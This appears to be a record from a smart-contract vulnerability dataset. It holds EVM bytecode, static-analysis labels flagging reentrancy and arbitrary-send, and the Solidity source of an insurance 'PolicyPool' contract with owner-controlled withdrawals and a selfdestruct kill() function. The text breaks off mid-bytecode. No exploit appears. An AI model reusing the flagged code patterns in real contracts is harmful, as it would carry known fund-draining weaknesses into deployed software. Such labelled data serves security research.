88b5760405162461bcd60e51b81526004016105f090611d46565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e05760405162461bcd60e51b81526004016105f090611d46565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105f090611d46565b601154600160a01b900460ff161561098f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105f0565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109cc3082683635c9adc5dea00000610d20565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0557600080fd5b505afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d9190611ab3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8557600080fd5b505afa158015610a99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abd9190611ab3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3d9190611ab3565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba1816106ca565b600080610bb66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1957600080fd5b505af1158015610c2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c529190611cc3565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cbe57600080fd5b505af1158015610cd2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190611c8d565b600e546001600160a01b0316336001600160a01b031614610d1657600080fd5b47610650816114d1565b6001600160a01b038316610d825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610f0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b80610f14846106ca565b1015610f715760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105f0565b6000546001600160a01b03848116911614801590610f9d57506000546001600160a01b03838116911614155b1561127a576001600160a01b03831660009081526007602052604090205460ff16158015610fe457506001600160a01b03821660009081526007602052604090205460ff16155b610fed57600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104657506011546001600160a01b03848116911614801561104657506001600160a01b03821660009081526006602052604090205460ff16155b156110b3576012548111156110b35760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105f0565b6001600160a01b03821660009081526006602052604090205460ff1661114c57601354816110e0846106ca565b6110ea9190611dec565b111561114c5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105f0565b6011546001600160a01b03848116911614801561117757506010546001600160a01b03838116911614155b801561119c57506001600160a01b03821660009081526005602052604090205460ff16155b80156111b15750601154600160b81b900460ff165b156111ff576001600160a01b03821660009081526008602052604090205442116111da57600080fd5b6111e542603c611dec565b6001600160a01b0383166000908152600860205260409020555b600061120a306106ca565b601154909150600160a81b900460ff1615801561123557506011546001600160a01b03858116911614155b801561124a5750601154600160b01b900460ff165b80156112585750600b548110155b1561127857611266816112c4565b47801561127657611276476114d1565b505b505b611285838383611556565b505050565b600081848411156112ae5760405162461bcd60e51b81526004016105f09190611cf1565b5060006112bb8486611e45565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130c5761130c611e8d565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561136057600080fd5b505afa158015611374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113989190611ab3565b816001815181106113ab576113ab611e8d565b6001600160a01b0392831660209182029290920101526010546113d19130911684610d20565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061140a908590600090869030904290600401611d7b565b600060405180830381600087803b15801561142457600080fd5b505af1158015611438573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114b45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b60006114be611561565b90506114ca8382611584565b9392505050565b600e546001600160a01b03166108fc6114eb836002611584565b6040518115909202916000818181858888f19350505050158015611513573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61152e836002611584565b6040518115909202916000818181858888f1935050505015801561085d573d6000803e3d6000fd5b6112858383836115c6565b600080600061156e611786565b909250905061157d8282611584565b9250505090565b60006114ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c8565b6000806000806000806115d8876117f6565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061160a9087611853565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061165557506001600160a01b03881660009081526005602052604090205460ff165b156116de576001600160a01b03881660009081526002602052604090205461167d9087611895565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d1908b815260200190565b60405180910390a361177b565b6001600160a01b0388166000908152600260205260409020546117019086611895565b6001600160a01b038916600090815260026020526040902055611723816118f4565b61172d848361193e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177291815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117a28282611584565b8210156117bf57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836117e95760405162461bcd60e51b81526004016105f09190611cf1565b5060006112bb8486611e04565b60008060008060008060008060006118138a600c54600d54611962565b9250925092506000611823611561565b905060008060006118368e8787876119b7565b919e509c509a509598509396509194505050505091939550919395565b60006114ca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128a565b6000806118a28385611dec565b9050838110156114ca5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b60006118fe611561565b9050600061190c8383611a07565b306000908152600260205260409020549091506119299082611895565b30600090815260026020526040902055505050565b60095461194b9083611853565b600955600a5461195b9082611895565b600a555050565b600080808061197c60646119768989611a07565b90611584565b9050600061198f60646119768a89611a07565b905060006119a7826119a18b86611853565b90611853565b9992985090965090945050505050565b60008080806119c68886611a07565b905060006119d48887611a07565b905060006119e28888611a07565b905060006119f4826119a18686611853565b939b939a50919850919650505050505050565b600082611a1657506000610557565b6000611a228385611e26565b905082611a2f8583611e04565b146114ca5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b8035611a9181611eb9565b919050565b600060208284031215611aa857600080fd5b81356114ca81611eb9565b600060208284031215611ac557600080fd5b81516114ca81611eb9565b60008060408385031215611ae357600080fd5b8235611aee81611eb9565b91506020830135611afe81611eb9565b809150509250929050565b600080600060608486031215611b1e57600080fd5b8335611b2981611eb9565b92506020840135611b3981611eb9565b929592945050506040919091013590565b60008060408385031215611b5d57600080fd5b8235611b6881611eb9565b91506020830135611afe81611ece565b60008060408385031215611b8b57600080fd5b8235611b9681611eb9565b946020939093013593505050565b60006020808385031215611bb757600080fd5b823567ffffffffffffffff80821115611bcf57600080fd5b818501915085601f830112611be357600080fd5b813581811115611bf557611bf5611ea3565b8060051b604051601f19603f83011681018181108582111715611c1a57611c1a611ea3565b604052828152858101935084860182860187018a1015611c3957600080fd5b600095505b83861015611c6357611c4f81611a86565b855260019590950194938601938601611c3e565b5098975050505050505050565b600060208284031215611c8257600080fd5b81356114ca81611ece565b600060208284031215611c9f57600080fd5b81516114ca81611ece565b600060208284031215611cbc57600080fd5b5035919050565b600080600060608486031215611cd857600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611d1e57858101830151858201604001528201611d02565b81811115611d30576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dcb5784516001600160a01b031683529383019391830191600101611da6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dff57611dff611e77565b500190565b600082611e2157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e4057611e40611e77565b500290565b600082821015611e5757611e57611e77565b500390565b6000600019821415611e7057611e70611e77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461065057600080fd5b801515811461065057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e832413b6c1aac0283bab8e985bf666ca8a9b01988e72f453ddf36d1ff9580be64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,068
0x40fe225c13e8af516a09afa6f3755722188ddab7
pragma solidity ^0.4.21; interface insChainTokenInterface{ function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf( address who ) public view returns (uint value); function allowance( address owner, address spender ) public view returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract Owned{ address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /** @dev constructor */ function Owned() public{ owner = msg.sender; } // allows execution by the owner only modifier onlyOwner { assert(msg.sender == owner); _; } /** @dev allows transferring the contract ownership the new owner still need to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /* Overflow protected math functions */ contract SafeMath { /** constructor */ function SafeMath() public{ } // Check if it is safe to add two numbers function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a + b; assert(c >= a && c >= b); return c; } // Check if it is safe to subtract two numbers function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a - b; assert(b <= a && c <= a); return c; } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || (c / a) == b); return c; } } // a ledger recording policy participants // kill() property is limited to the officially-released policies, which must be removed in the later template versions. contract PolicyPool is SafeMath, Owned{ insChainTokenInterface public insChainTokenLedger; address public agent; uint256 public policyTokenBalance=0; uint256 public policyTokenBalanceFromEther=0; //might turn to private in production uint256 public policyFeeCollector=0; uint256 public policyCandyBalance=0; uint256 public policyActiveNum=0; mapping (uint256 => uint256) policyInternalID; struct Policy { uint256 since; uint256 accumulatedIn; } // policies[policyInternalID[extraData]] Policy[] public policies; struct Proposal { uint256 policyPayload; address recipient; uint256 amount; string description; bool executed; bool proposalPassed; // bytes32 proposalHash; } // struct array to store user claims Proposal[] public proposals; uint256 public numProposals; uint256 public updated_policy_payload; event PolicyIn(address indexed backer, uint256 indexed amount, uint256 indexed policyExternalID); event PolicyOut(address indexed backer, uint256 indexed amount, uint256 indexed policyExternalID); event PolicyValueIn(address indexed backer, uint256 indexed amount,uint256 indexed policyExternalID); // event log for user claims(admin) event ProposalAdded(uint indexed proposalID, uint256 indexed policyExternalID, uint256 indexed amount, string description); event ProposalTallied(uint indexed proposalId, uint256 indexed amount, bool indexed proposalPassed); // external agent for candy policies modifier onlyAgent { assert(msg.sender == agent); _; } function PolicyPool(address tokenLedger) public { insChainTokenLedger=insChainTokenInterface(tokenLedger); // temp agent only, will be changed to the contract later agent=msg.sender; addPolicy(0,0); } //user must perform the following opertions before calling this function //approveAndCall() to activate the policy account in this policy contract //this function works as a policy registering and deposit handler function receiveApproval(address from,uint256 weiAmount,address tokenLedger, bytes extraData) whenNotPaused public returns (bool success){ require(insChainTokenInterface(tokenLedger)==insChainTokenLedger); require(insChainTokenLedger.transferFrom(from, this, weiAmount)); //convert msg.data bytes to uint uint payload=0; for (uint i = 0; i < 32; i++) { uint b = uint(msg.data[131 - i]); payload += b * 256**i; } updated_policy_payload = payload; if(!getx2Policy(from, payload, now, weiAmount)){revert();} policyTokenBalance=safeAdd(policyTokenBalance,weiAmount); return true; } function policyID(uint256 payload) public view returns (uint id){ return policyInternalID[payload]; } function accumulatedBalanceOf(uint id) public view returns (uint256 balance) { return policies[id].accumulatedIn; } function joinSinceOf(uint id) public view returns (uint256 balance) { return policies[id].since; } function addPolicy(uint256 ticker, uint256 weiAmount) internal returns(uint) { policies.length++; policies[policies.length-1].since = ticker; policies[policies.length-1].accumulatedIn = weiAmount; return policies.length; } function getx2Policy(address from, uint256 payload, uint256 timeStamp, uint256 weiAmount) internal returns(bool success){ uint id = policyInternalID[payload]; if (id == 0) { id = policies.length; policyInternalID[payload] = id; addPolicy(timeStamp,weiAmount); emit PolicyIn(from, weiAmount, payload); policyActiveNum++; }else if (policies[id].accumulatedIn==0){ policies[id].since=timeStamp; policies[id].accumulatedIn=weiAmount; emit PolicyIn(from, weiAmount, payload); policyActiveNum++; }else{ policies[id].accumulatedIn=safeAdd(policies[id].accumulatedIn,weiAmount); emit PolicyValueIn(from, weiAmount, payload); } return true; } //the policy balance ledger will be updated either // onlyOwner might be changed to onlyManager later function withdrawPolicy(uint256 payload, uint256 weiAmount, uint256 fees, address to) public onlyOwner returns (bool success) { uint id=policyInternalID[payload]; require(id>0); require(policies[id].accumulatedIn>0); require(policies[id].since<now); require(weiAmount<policyTokenBalance); if(!insChainTokenLedger.transfer(to,weiAmount)){revert();} policyTokenBalance=safeSub(policyTokenBalance,weiAmount); policyTokenBalance=safeSub(policyTokenBalance,fees); policyFeeCollector=safeAdd(policyFeeCollector,fees); policies[id].accumulatedIn=0; policies[id].since=now; emit PolicyOut(to, weiAmount, payload); policyActiveNum--; return true; } function kill() public onlyOwner { if(policyTokenBalance>0){ if(!insChainTokenLedger.transfer(owner,policyTokenBalance)){revert();} policyTokenBalance=0; policyTokenBalanceFromEther=0; } if(policyFeeCollector>0){ if(!insChainTokenLedger.transfer(owner,policyFeeCollector)){revert();} policyFeeCollector=0; } selfdestruct(owner); } /** * Add Proposal * * Propose to send `weiAmount / 1e18` ether to `beneficiary` for `ClaimDescription`. `transactionBytecode ? Contains : Does not contain` code. * * param payload the policy id * param beneficiary who to send the ether to * param weiAmount amount of token to send, in wei(18 decimals) * param claimDescription Description of claim */ function newProposal(uint256 payload, address beneficiary, uint256 weiAmount,string claimDescription) onlyOwner public returns(uint256 proposalID){ require(policyTokenBalance>weiAmount); proposals.length++; proposalID = proposals.length-1; Proposal storage p = proposals[proposalID]; p.policyPayload=payload; p.recipient = beneficiary; p.amount = weiAmount; p.description = claimDescription; p.executed = false; p.proposalPassed = false; emit ProposalAdded(proposalID, p.policyPayload, p.amount, p.description); numProposals = proposalID+1; return proposalID; } /** * * param proposalNumber proposal number * param refundAmount the money should pay back * param fees to be paid by claimer */ function executeProposal(uint proposalNumber, uint256 refundAmount, uint256 fees) onlyOwner public returns (bool success){ Proposal storage p = proposals[proposalNumber]; require(!p.executed); //it has not already been executed require(p.amount>=refundAmount); // ...then execute result uint256 totalReduce = safeAdd(refundAmount,fees); if ( totalReduce<=policyTokenBalance ) { // Proposal passed; execute the transaction p.executed = true; // Avoid recursive calling policyTokenBalance=safeSub(policyTokenBalance,totalReduce); policyFeeCollector=safeAdd(policyFeeCollector,fees); // refund the GETX if(!insChainTokenLedger.transfer(p.recipient,refundAmount)){revert();} // clear the data inside uint id = policyInternalID[p.policyPayload]; policies[id].accumulatedIn=0; policies[id].since=now; p.proposalPassed = true; emit ProposalTallied(proposalNumber, refundAmount, p.proposalPassed); emit PolicyOut(p.recipient, refundAmount, p.policyPayload); policyActiveNum--; } else { // Proposal failed p.proposalPassed = false; } return p.proposalPassed; } // This function is controlled by agent function joinWithCandy(address signer, uint256 payload, uint256 timeStamp) onlyAgent public returns (bool success){ require(signer!=address(0)); require(timeStamp<now); require(policyInternalID[payload] == 0); if(!getx2Policy(signer, payload, timeStamp, 0)){revert();} return true; } function updateAgent(address newAgent) onlyOwner public returns(bool success){ agent=newAgent; return true; } // admin function to transfer in the GETX according to the rate // the admin should transfer "policyTokenBalanceFromEther" to this pool later function settleEtherPolicy(address[] froms, uint256[] payloads, uint256[] timeStamps, uint256[] weiAmounts) onlyOwner public returns(bool success){ require(froms.length == payloads.length); require(payloads.length == weiAmounts.length); uint i; for (i=0;i<froms.length;i++){ if(!getx2Policy(froms[i], payloads[i], timeStamps[i], weiAmounts[i])){revert();} // this GETX value must be the same as the ether collector account policyTokenBalanceFromEther=safeAdd(policyTokenBalanceFromEther,weiAmounts[i]); policyTokenBalance=safeAdd(policyTokenBalance,weiAmounts[i]); if(!insChainTokenLedger.transferFrom(msg.sender, this, weiAmounts[i])){revert();} } return true; } function settleCandyGetx(uint256 weiAmount) onlyOwner public returns (bool success){ policyCandyBalance=safeAdd(policyCandyBalance,weiAmount); return true; } function retrievePoolFee(uint256 weiAmount) onlyOwner public returns (bool success){ policyFeeCollector=safeSub(policyFeeCollector,weiAmount); if(!insChainTokenLedger.transfer(msg.sender,weiAmount)){revert();} return true; } function claimTokens(address _token) onlyOwner public { require(_token != address(0)); require(_token != address(insChainTokenLedger)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); } }
0x60606040526004361061017c5763ffffffff60e060020a600035041663013cf08b8114610181578063053f598a1461023f578063059c5c4f146102645780633f4ba83a14610277578063400e39491461028c57806341c0e1b51461029f57806349f41a42146102b25780634abe1a62146102e55780634dfc97c5146103f45780635a5638dc146104075780635c975abb1461041a57806378960df61461042d578063796445761461044057806379ba5097146104a85780638439f80d146104bb5780638456cb59146104d157806385d3b5bd146104e45780638da5cb5b146104fa5780638f4ffcb114610529578063986cc311146105955780639b173d57146105b1578063a4dbbbf1146105d9578063b911f2fb146105fe578063d3e8948314610614578063d4ee1d9014610642578063daef569f14610655578063dbdb96c214610668578063df8de3e71461067b578063ea2f9ebe1461069a578063f2fde38b146106b0578063f5ff5c76146106cf578063f7996163146106e2575b600080fd5b341561018c57600080fd5b6101976004356106f8565b604051868152600160a060020a038616602082015260408101859052821515608082015281151560a082015260c06060820181815290820185818151815260200191508051906020019080838360005b838110156101ff5780820151838201526020016101e7565b50505050905090810190601f16801561022c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b341561024a57600080fd5b6102526107f3565b60405190815260200160405180910390f35b341561026f57600080fd5b6102526107f9565b341561028257600080fd5b61028a6107ff565b005b341561029757600080fd5b61025261087b565b34156102aa57600080fd5b61028a610881565b34156102bd57600080fd5b6102d1600160a060020a03600435166109d2565b604051901515815260200160405180910390f35b34156102f057600080fd5b6102d16004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a1d95505050505050565b34156103ff57600080fd5b610252610bb4565b341561041257600080fd5b610252610bba565b341561042557600080fd5b6102d1610bc0565b341561043857600080fd5b610252610bd0565b341561044b57600080fd5b610252600480359060248035600160a060020a0316916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bd695505050505050565b34156104b357600080fd5b61028a610d55565b34156104c657600080fd5b610252600435610dfc565b34156104dc57600080fd5b61028a610e26565b34156104ef57600080fd5b610252600435610ea7565b341561050557600080fd5b61050d610eb9565b604051600160a060020a03909116815260200160405180910390f35b341561053457600080fd5b6102d160048035600160a060020a0390811691602480359260443516919060849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ec895505050505050565b34156105a057600080fd5b6102d1600435602435604435611038565b34156105bc57600080fd5b6102d1600435602435604435600160a060020a0360643516611275565b34156105e457600080fd5b6102d1600160a060020a0360043516602435604435611450565b341561060957600080fd5b6102d16004356114c7565b341561061f57600080fd5b61062a6004356114f7565b60405191825260208201526040908101905180910390f35b341561064d57600080fd5b61050d611523565b341561066057600080fd5b61050d611532565b341561067357600080fd5b610252611541565b341561068657600080fd5b61028a600160a060020a0360043516611547565b34156106a557600080fd5b6102d1600435611672565b34156106bb57600080fd5b61028a600160a060020a036004351661171a565b34156106da57600080fd5b61050d61177c565b34156106ed57600080fd5b61025260043561178b565b600b80548290811061070657fe5b90600052602060002090600502016000915090508060000154908060010160009054906101000a9004600160a060020a031690806002015490806003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050506004909301549192505060ff8082169161010090041686565b60085481565b60065481565b60005433600160a060020a0390811691161461081757fe5b60015460a060020a900460ff16151561082f57600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600c5481565b60005433600160a060020a0390811691161461089957fe5b6000600454111561093157600254600054600454600160a060020a039283169263a9059cbb92169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561090457600080fd5b5af1151561091157600080fd5b50505060405180519050151561092657600080fd5b600060048190556005555b600060065411156109c457600254600054600654600160a060020a039283169263a9059cbb92169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561099c57600080fd5b5af115156109a957600080fd5b5050506040518051905015156109be57600080fd5b60006006555b600054600160a060020a0316ff5b6000805433600160a060020a039081169116146109eb57fe5b5060038054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008054819033600160a060020a03908116911614610a3857fe5b8451865114610a4657600080fd5b8251855114610a5457600080fd5b5060005b8551811015610ba857610ac1868281518110610a7057fe5b90602001906020020151868381518110610a8657fe5b90602001906020020151868481518110610a9c57fe5b90602001906020020151868581518110610ab257fe5b906020019060200201516117b5565b1515610acc57600080fd5b610aed600554848381518110610ade57fe5b90602001906020020151611977565b600555600454610b0390848381518110610ade57fe5b600455600254600160a060020a03166323b872dd3330868581518110610b2557fe5b9060200190602002015160405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610b7e57600080fd5b5af11515610b8b57600080fd5b505050604051805190501515610ba057600080fd5b600101610a58565b50600195945050505050565b60045481565b60055481565b60015460a060020a900460ff1681565b60075481565b60008054819033600160a060020a03908116911614610bf157fe5b600454849011610c0057600080fd5b600b805490610c129060018301611a23565b50600b80546000198101935083908110610c2857fe5b6000918252602090912060059091020186815560018101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881617905560028101859055905060038101838051610c83929160200190611a54565b5060048101805461ffff1916905560028101548154837f6468ce089187f3b77291732ae6c045c50ef5aa253a7bfd523f14a4717a4363866003850160405160208082528254600260001961010060018416150201909116049082018190528190604082019084908015610d375780601f10610d0c57610100808354040283529160200191610d37565b820191906000526020600020905b815481529060010190602001808311610d1a57829003601f168201915b50509250505060405180910390a460018201600c5550949350505050565b60015433600160a060020a03908116911614610d7057600080fd5b6000546001547f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000600a82815481101515610e0d57fe5b9060005260206000209060020201600101549050919050565b60005433600160a060020a03908116911614610e3e57fe5b60015460a060020a900460ff1615610e5557600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60009081526009602052604090205490565b600054600160a060020a031681565b60015460009081908190819060a060020a900460ff1615610ee857600080fd5b600254600160a060020a03878116911614610f0257600080fd5b600254600160a060020a03166323b872dd89308a60405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610f6557600080fd5b5af11515610f7257600080fd5b505050604051805190501515610f8757600080fd5b60009250600091505b6020821015610fff576000366083849003818110610faa57fe5b905090013560f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191660f860020a90049050816101000a8102830192508180600101925050610f90565b600d8390556110108884428a6117b5565b151561101b57600080fd5b61102760045488611977565b600455506001979650505050505050565b6000805481908190819033600160a060020a0390811691161461105757fe5b600b80548890811061106557fe5b60009182526020909120600590910201600481015490935060ff161561108a57600080fd5b60028301548690101561109c57600080fd5b6110a68686611977565b6004549092508211611251576004808401805460ff19166001179055546110cd908361199b565b6004556006546110dd9086611977565b6006556002546001840154600160a060020a039182169163a9059cbb91168860405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561113f57600080fd5b5af1151561114c57600080fd5b50505060405180519050151561116157600080fd5b508154600090815260096020526040812054600a80549192918390811061118457fe5b90600052602060002090600202016001018190555042600a828154811015156111a957fe5b600091825260209091206002909102015560048301805461ff00191661010090811791829055900460ff16151586887fa9ac225c6a5870bf2106e428872d012a51247520cc3af4329905bbb60e28978c60405160405180910390a4825460018401548790600160a060020a03167f116eb6acba1580ea068d47431556a7e613392a16707b532034e82866d82dad1b60405160405180910390a46008805460001901905561125f565b60048301805461ff00191690555b505060040154610100900460ff16949350505050565b60008054819033600160a060020a0390811691161461129057fe5b506000858152600960205260408120549081116112ac57600080fd5b6000600a828154811015156112bd57fe5b9060005260206000209060020201600101541115156112db57600080fd5b42600a828154811015156112eb57fe5b60009182526020909120600290910201541061130657600080fd5b600454851061131457600080fd5b600254600160a060020a031663a9059cbb848760405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561136a57600080fd5b5af1151561137757600080fd5b50505060405180519050151561138c57600080fd5b6113986004548661199b565b60048190556113a7908561199b565b6004556006546113b79085611977565b600655600a805460009190839081106113cc57fe5b90600052602060002090600202016001018190555042600a828154811015156113f157fe5b60009182526020909120600290910201558585600160a060020a0385167f116eb6acba1580ea068d47431556a7e613392a16707b532034e82866d82dad1b60405160405180910390a45050600880546000190190555060019392505050565b60035460009033600160a060020a0390811691161461146b57fe5b600160a060020a038416151561148057600080fd5b42821061148c57600080fd5b600083815260096020526040902054156114a557600080fd5b6114b284848460006117b5565b15156114bd57600080fd5b5060019392505050565b6000805433600160a060020a039081169116146114e057fe5b6114ec60075483611977565b600755506001919050565b600a80548290811061150557fe5b60009182526020909120600290910201805460019091015490915082565b600154600160a060020a031681565b600254600160a060020a031681565b600d5481565b60008054819033600160a060020a0390811691161461156257fe5b600160a060020a038316151561157757600080fd5b600254600160a060020a038481169116141561159257600080fd5b82915081600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156115e357600080fd5b5af115156115f057600080fd5b5050506040518051600054909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561165657600080fd5b5af1151561166357600080fd5b50505060405180515050505050565b6000805433600160a060020a0390811691161461168b57fe5b6116976006548361199b565b600655600254600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156116f057600080fd5b5af115156116fd57600080fd5b50505060405180519050151561171257600080fd5b506001919050565b60005433600160a060020a0390811691161461173257fe5